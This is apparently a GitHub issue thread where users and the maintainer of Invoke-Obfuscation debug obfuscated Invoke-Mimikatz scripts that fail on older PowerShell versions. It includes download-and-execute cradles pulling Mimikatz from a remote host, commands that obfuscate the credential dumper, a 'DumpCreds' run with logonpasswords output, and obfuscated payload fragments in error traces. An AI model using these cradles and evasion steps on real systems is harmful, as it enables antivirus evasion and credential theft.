Obfuscated Scripts Incompatible on PS < 5.1 #10
Comments
byt3bl33d3r
changed the title
|
Hi byt3bl33d3r, glad to hear you're like this project! Thanks for submitting this bug report. It seems that string obfuscation for ParameterSetName fields in parameter bindings (but not DefaultParameterSetName) fields are causing errors when concatenation or even -f format operator reordering is performed (even if encapsulate with curly braces as a script block). I don't recall seeing this causing errors before for PS2 through PS5, but it definitely is not working at this point. I just pushed an updated Out-ObfuscatedTokenCommand.ps1 file (e6b01ed) that includes a string token fix as well as a variable token fix. I am no longer seeing the above errors with Invoke-Mimikatz on either PS2 or PS5. Would you mind re-testing your scenario(s) and let me know if this resolves your issues? Curious if there is more to the errors that you're seeing. Invoke-Obfuscation -ScriptPath 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1' -Command 'Token\All\1' -Quiet |
|
Just re-tested, now seeing the following errors, let me know if I'm missing something. Windows 7 (PS v2)IEX cradle now throws a different error, running the cmdlet still errors out. PS C:\Users\yomama> IEX (New-Object Net.Webclient).DownloadString('http://192.16
8.10.3/Invoke-Mimikatz.ps1')
Invoke-Expression : Missing closing ')' in expression.
At line:1 char:4
+ IEX <<<< (New-Object Net.Webclient).DownloadString('http://192.168.10.3/Invo
ke-Mimikatz.ps1')
+ CategoryInfo : ParserError: (CloseParenToken:TokenId) [Invoke-E
xpression], ParseException
+ FullyQualifiedErrorId : MissingEndParenthesisInExpression,Microsoft.Powe
rShell.Commands.InvokeExpressionCommand
PS C:\Users\yomama\Downloads\Invoke-Obfuscation-master> Import-Module .\test.ps1
PS C:\Users\yomama\Downloads\Invoke-Obfuscation-master> Invoke-Mimikatz
The variable '$COmmAND' cannot be retrieved because it has not been set.
At C:\Users\yomama\Downloads\Invoke-Obfuscation-master\test.ps1:2657 char:35
+ ${E`x`EARgs} = ${COmm`AND} <<<<
+ CategoryInfo : InvalidOperation: (COmmAND:Token) [], RuntimeExc
eption
+ FullyQualifiedErrorId : VariableIsUndefined
The variable '$eXEaRgS' cannot be retrieved because it has not been set.
At C:\Users\yomama\Downloads\Invoke-Obfuscation-master\test.ps1:2674 char:173
+ &("{2}{1}{0}" -f '-Command','nvoke','I') -ScriptBlock ${RE`motESc`RIP
t`Bl`Ock} -ArgumentList @(${PEB`YtES`64}, ${p`EBy`TES32}, ("{1}{0}" -f'id','Vo'
), 0, "", ${eX`Ea`RgS} <<<< )
+ CategoryInfo : InvalidOperation: (eXEaRgS:Token) [], RuntimeExc
eption
+ FullyQualifiedErrorId : VariableIsUndefined
Array assignment failed because index '0' was out of range.
At C:\Users\yomama\Downloads\Invoke-Obfuscation-master\test.ps1:2547 char:22
+ ${pEB`Y`Tes}[ <<<< 0] = 0
+ CategoryInfo : InvalidOperation: (0:Int32) [], RuntimeException
+ FullyQualifiedErrorId : IndexOutOfRange
Array assignment failed because index '1' was out of range.
At C:\Users\yomama\Downloads\Invoke-Obfuscation-master\test.ps1:2548 char:22
+ ${peBY`T`Es}[ <<<< 1] = 0
+ CategoryInfo : InvalidOperation: (1:Int32) [], RuntimeException
+ FullyQualifiedErrorId : IndexOutOfRange
inVoke-mEMORYLOaDLiBraRY : Cannot bind argument to parameter 'PeBYteS' because
it is an empty array.
At C:\Users\yomama\Downloads\Invoke-Obfuscation-master\test.ps1:2552 char:94
+ ${Pel`oAdeD`iNfo} = &("{2}{3}{0}{1}{4}" -f'-Memo','ry','Invo','ke
','LoadLibrary') -PEBytes <<<< ${pe`By`TEs} -ExeArgs ${e`xeAR`gs}
+ CategoryInfo : InvalidData: (:) [inVoke-mEMORYLOaDLiBraRY], Par
ameterBindingValidationException
+ FullyQualifiedErrorId : ParameterArgumentValidationErrorEmptyArrayNotAll
owed,inVoke-mEMORYLOaDLiBraRY
The variable '$PeLOADEDiNfo' cannot be retrieved because it has not been set.
At C:\Users\yomama\Downloads\Invoke-Obfuscation-master\test.ps1:2558 char:25
+ if (${PeL`O`ADEDi`Nfo} <<<< -eq ${I1`qo}::"z`eRo")
+ CategoryInfo : InvalidOperation: (PeLOADEDiNfo:Token) [], Runti
meException
+ FullyQualifiedErrorId : VariableIsUndefined
The variable '$pELoADEDinFO' cannot be retrieved because it has not been set.
At C:\Users\yomama\Downloads\Invoke-Obfuscation-master\test.ps1:2563 char:36
+ ${PE`han`Dle} = ${p`E`LoADEDinFO} <<<< [0]
+ CategoryInfo : InvalidOperation: (pELoADEDinFO:Token) [], Runti
meException
+ FullyQualifiedErrorId : VariableIsUndefined
The variable '$pELOaDediNfO' cannot be retrieved because it has not been set.
At C:\Users\yomama\Downloads\Invoke-Obfuscation-master\test.ps1:2564 char:44
+ ${Rem`O`TepEhA`NDle} = ${pE`LOaDed`i`NfO} <<<< [1]
+ CategoryInfo : InvalidOperation: (pELOaDediNfO:Token) [], Runti
meException
+ FullyQualifiedErrorId : VariableIsUndefined
Invoke-Command : PEHandle is null or IntPtr.Zero
At C:\Users\yomama\Downloads\Invoke-Obfuscation-master\test.ps1:2674 char:4
+ & <<<< ("{2}{1}{0}" -f '-Command','nvoke','I') -ScriptBlock ${RE`motE
Sc`RIPt`Bl`Ock} -ArgumentList @(${PEB`YtES`64}, ${p`EBy`TES32}, ("{1}{0}" -f'id
','Vo'), 0, "", ${eX`Ea`RgS})
+ CategoryInfo : OperationStopped: (PEHandle is null or IntPtr.Ze
ro:String) [Invoke-Command], RuntimeException
+ FullyQualifiedErrorId : PEHandle is null or IntPtr.Zero,Microsoft.PowerS
hell.Commands.InvokeCommandCommandWindows 8.1 (PS v4)Seems to be the same error as last time. PS C:\Users\yomama1> IEX (New-Object Net.Webclient).DownloadString('http://192.168.10.3/Invoke-Mimikatz.ps1')
PS C:\Users\yomama1> Invoke-Mimikatz
Exception calling "GetDelegateForFunctionPointer" with "2" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:428 char:3
+ ${vIR`T`UalALLOC} = (GEt-VariABLE ("{0}{1}"-f'76F','pQ') -VaLUeO)::("{4}{5}{1 ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke
Exception calling "GetDelegateForFunctionPointer" with "2" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:438 char:3
+ ${m`E`mCPy} = ( varIabLE ("{1}{0}"-f 'Fpq','76') -va )::("{4}{5}{0}{3}{2} ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke
Exception calling "GetDelegateForFunctionPointer" with "2" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:448 char:3
+ ${lOAd`L`I`BRARy} = ( geT-VaRIaBLe ("76"+"fpQ") -ValueoNl )::("{6}{1}{3}{5 ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke
Exception calling "GetDelegateForFunctionPointer" with "2" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:468 char:3
+ ${V`IRTu`AlfRE`EEX} = ( geT-VARiaBLe ("{1}{0}" -f'PQ','76F') -vaL )::("{ ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke
Exception calling "GetDelegateForFunctionPointer" with "2" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:473 char:3
+ ${virTUA`LP`R`oTE`CT} = ( GEt-VariAble ("{1}{0}" -f '6FPq','7') -Value )::( ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke
Exception calling "GetDelegateForFunctionPointer" with "2" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:556 char:9
+ ${cREAtET`HRE`Ad} = (vARIAbLE ("{0}{1}"-f'7','6FpQ') -VaLuEoNL )::("{2} ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke
Exception calling "GetDelegateForFunctionPointer" with "2" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:428 char:3
+ ${vIR`T`UalALLOC} = (GEt-VariABLE ("{0}{1}"-f'76F','pQ') -VaLUeO)::("{4}{5}{1 ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke
Exception calling "GetDelegateForFunctionPointer" with "2" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:438 char:3
+ ${m`E`mCPy} = ( varIabLE ("{1}{0}"-f 'Fpq','76') -va )::("{4}{5}{0}{3}{2} ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke
Exception calling "GetDelegateForFunctionPointer" with "2" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:448 char:3
+ ${lOAd`L`I`BRARy} = ( geT-VaRIaBLe ("76"+"fpQ") -ValueoNl )::("{6}{1}{3}{5 ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke
Exception calling "GetDelegateForFunctionPointer" with "2" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:468 char:3
+ ${V`IRTu`AlfRE`EEX} = ( geT-VARiaBLe ("{1}{0}" -f'PQ','76F') -vaL )::("{ ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke
Exception calling "GetDelegateForFunctionPointer" with "2" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:473 char:3
+ ${virTUA`LP`R`oTE`CT} = ( GEt-VariAble ("{1}{0}" -f '6FPq','7') -Value )::( ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke
Exception calling "GetDelegateForFunctionPointer" with "2" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:556 char:9
+ ${cREAtET`HRE`Ad} = (vARIAbLE ("{0}{1}"-f'7','6FpQ') -VaLuEoNL )::("{2} ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke
You cannot call a method on a null-valued expression.
At line:2212 char:5
+ ${P`eHAN`dLe} = ${w`in`32fun`cTions}."vIRt`Ua`LaLl`oC"."i`Nv`oKe"(${loAd`AD` ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : InvokeMethodOnNull
VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new
PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might
be free).
At line:2224 char:4
+ Throw ("{13}{10}{18}{0}{30}{16}{14}{47}{50}{48}{4}{45}{43}{44}{12}{49}{41}{7} ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : OperationStopped: (VirtualAlloc fa...might be free).:String) [], RuntimeException
+ FullyQualifiedErrorId : VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running
the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the ad
dress the PE wants might be free). |
|
Can you provide some more information? For the obfuscated version of Invoke-Mimikatz what obfuscation command(s) are you running? Something like this? Invoke-Obfuscation -ScriptPath 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1' -Command 'Token\All\1' -Quiet Also, if you run a LOCAL de-obfuscated version of Invoke-Mimikatz with your default download cradle in PS2.0 then you will get the "Missing closing ')' in expression" error depending on how you downloaded Invoke-Mimikatz. For example, if you download via .DownloadFile then you won't get this error, but if you download via .DownloadString piped to a local file then you will get this error. Download copy of Invoke-Mimikatz to disk$LocalFile = 'c:\users\me\mimi.ps1' Invoke local copy of Invoke-MimikatzIEX (New-Object Net.Webclient).DownloadString($LocalFile) Above command should error on PS2.0So it seems that this is a PS2.0 download cradle error depending on formatting of target local file, and not an issue of obfuscation being applied to Invoke-Mimikatz script. For the remaining issue you stated, I just need more information for how you are obfuscated Invoke-Mimikatz, and what the difference is between Invoke-Mimikatz.ps1 and .\test.ps1 in your provided examples. Thanks for your patience. I'll try my best to get these issues hammered as soon as I can. |
|
Hey sorry for the late response, Thanks for the clarification on the IEX cradle issue, will try that asap. I ran the same invoke-obfuscation command as before Invoke-Obfuscation -ScriptPath ./Invoke-Mimikatz.ps1 -Command "TOKEN,ALL,1,OUT test.ps1" -QuietThere shouldn't be any difference between Invoke-Mimikatz.ps1 and test.ps1, one was obfuscated using Powershell on Linux and the other using Powershell 2.0 on Windows 7. I did that initially just to rule out the possibility of it being an issue obfuscating the script using Powershell on Linux. Let me know if that cleared things up and if you need any more info. |
|
Hi there, I can give you some more detail from the tests I've been carrying out. This is my PS version for Windows 10: What I've done is running each Here's a review of everything I did: btw, the I attach the error message I get when Invoke-Mimikatz is oobfuscated with the So definitively, there's something not working as expected. Awesome work @danielbohannon It's really amazing what you did here! |
|
Are you still seeing these same issues with the latest commit? I'm still not able to reproduce this issue when applying these obfuscation steps (all level 1 obfuscation for each token type as you outlined above). Not sure what variable component I'm missing here but would love to help close this issue for you guys once I can reproduce it. Thanks for your help and patience. |
|
Hi Daniel, Thanks for this awesome project! I experience the same issue as @byt3bl33d3r. I obfuscate Invoke-Mimikatz from a Windows 10 1607 machine using your latest version 1.7 of Invoke-Obfuscation. Runs perfectly fine on the Windows 10 box: PS C:\Users\MD\Documents\Invoke-Obfuscation-master> Import-Module .\MimiDogz_token.ps1
PS C:\Users\MD\Documents\Invoke-Obfuscation-master> INvoke-Mimikatz -DumpCreds
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # sekurlsa::logonpasswords
Authentication Id : 0 ; 153000 (00000000:000255a8)
Session : Interactive from 1
--SNIP--However, below is the output when running this same obfuscated script on a Windows Server 2012 box (PS4.0). Hope this is of use to you. Let me know if I can try anything else: |
|
Man, this continues to stump me. I'm not seeing this error for PS 2, 3 or 4. I wonder if there's something peculiar to Windows Server 2012. Would you mind uploaded the obfuscated script that you used to get the errors that you posted above? This will help me find out how to best replicate this issue so I can get it fixed. Thanks. |
|
Sure, that script uploaded here: https://cl.ly/jVlg I just tested it on Windows 8.1 (PS 4.0) as well, and it gives the the exact same error(s). |
|
@danielbohannon I cannot confirm, but downloading the ModernIE VMs might help you reproduce the issue. There you will get a standard Windows 7/8/10 machine with their default PowerShell version. https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/ After further testing, I can tell you for sure that some stages are not working on Win7 with the default (I hope) PS while working on Win10. Sorry I cannot give you more feedback than that. |
|
@danielbohannon bump. Any update on this issue? |
|
@byt3bl33d3r -- thanks for holding my feet to the fire :) Unfortunately I've not had a chance to get a VM setup where I can successfully reproduce this issue. I've got a couple long flights in the coming weeks so hopefully I can sink some time into reproducing this issue and getting this resolved. This issue has been open for far longer than I like, so my apologies for that. |
|
@danielbohannon no worries! Thanks for the update! Anything else I can do to help let me know. |
|
thank you all for this information |
|
I just came across this issue myself, It was powershell in Kali rolling, with powershell 6.1.0, running obfuscating the same payload from Empire in Windows 10 worked without issue. |
|
I currently have the same problem on two Windows hosts. On my Windows 10 Hosts with the following Powershell Version: Running the following commands:
You cannot call a method on a null-valued expression.
Cannot find an overload for "GetDelegateForFunctionPointer" and the argument count: "2".
Exception calling "GetMethod" with "1" argument(s): "Ambiguous match found."
Has there already been a solution? |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
and others
Hey there!
First off really awesome project!
As the title says, I've been noticing that most obfuscated Powershell scripts (specifically PowerSploit scripts) seem to be incompatible on Powershell < 5.1.
Here's some background on how/what I'm doing:
Works as expected \o/
Windows 10 (PS version 5.1)
Works as expected.
Windows 8.1 (PS version 4.0)
Here the IEX cradle works, when executing the cmdlet however it errors out.
Windows 7 (PS v2.0)
Here the both the IEX cradle & cmdlet error out.
At first I thought it might be an issue with PowerShell on Linux, but I did the same thing on PowerShell on WIndows with the same results, so this does seem to be a bug.
Let me know if you need any more information.
Cheers!
The text was updated successfully, but these errors were encountered: